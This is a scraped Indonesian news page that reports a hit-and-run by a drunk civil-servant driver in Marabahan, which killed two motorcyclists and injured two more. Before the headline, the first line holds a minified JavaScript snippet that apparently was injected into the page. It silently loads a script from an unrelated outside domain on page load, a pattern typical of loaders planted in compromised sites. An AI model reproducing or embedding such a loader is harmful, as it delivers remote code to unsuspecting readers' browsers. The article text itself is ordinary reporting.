(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pengemudi Mobil Mabuk yang Tewaskan 2 Pengendara Motor Berstatus PNS


MARABAHAN, Pengemudi mobil Honda City yang menyebabkan kecelakaan tragis di Jalan Panglima Antasari, Kecamatan Marabahan, Kabuapten Batola, rupanya merupakan seorang Pegawai Negeri Sipil (PNS) sebagai Penyuluh Perikanan Kota Batulicin, Kabupaten Tanah Bumbu. Adalah Riyan Erwan Noor S yang bertempat tinggal di Jalan Ulu Benteng, Kecamatan Marabahan Kabupaten Batola.

Riyan Erwan yang saat itu mengendarai Mobil Honda City dengan Nopol B 1753 NES sedang menuju Marabahan dari arah Banjarmasin dengan kecepatan tinggi. Namun mengejutkanya, ia melancarkan aksi tabrak lari kepada pengendara sepeda motor dekat warung dan mengakibatkan 2 orang meninggal dunia di tempat yakni Sani (40) warga Pasar Wankang, Kecamatan Marabahan dan Toto (42) warga Jalan Kartini Kelurahan Marabahan, Kecamatan Marabahan.

Tidak sampai disitu, mobil kembali melaju menuju ke arah Lapangan 5 Desember dan kembali menabrak pengendara sepeda motor berjumlah dua orang di simpang empat lampu merah.

Akibatnya, dua orang yang diketahui bernama Ibrahim dan Aliyansyah mendapati luka-luka dan harus dirawat ke RS Umum Abdul Azis Marabahan.

Laju mobil tersebut akhirnya terhenti, usai menabrak warung yang berada di jalan Panglima Antasari Kelurahan Marabahan Kota, Kecamatan Marabahan, Kabupaten Batola.

Kasat Lantas Polres Barito Kuala, AKP Didik Suhartanto mengatakan pihaknya masih mendalami peristiwa tragis ini. Sementara itu pihaknya mengamankan pengemudi mobil Riyan Erwan guna dimintai keterangan.

“Masih kita lakukan penyelidikan serta meminta keterangan para saksi di lokasi kejadian,” ujarnya.

Adapun kerugian materiil dalam kejadian ini, yakni dua warung rusak berat, satu mobil rusak berat, dan dua motor rusak berat. Sopir mobil Honda City sudah diamankan ke Mapolres Barito Kuala untuk proses penyelidikan lebih lanjut. Dua korban luka-luka sempat dirawat di RSUD Abdul Azis Marabahan. Ibrahim dirujuk ke Banjarmasin karena kritis.

Dari informasi yang didapat Kanalkalimantan, Riyan Erwan melakukan aksi bak laga film action tersebut lantaran sedang dalam kondisi mabuk. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

11 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

12 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

14 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

15 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.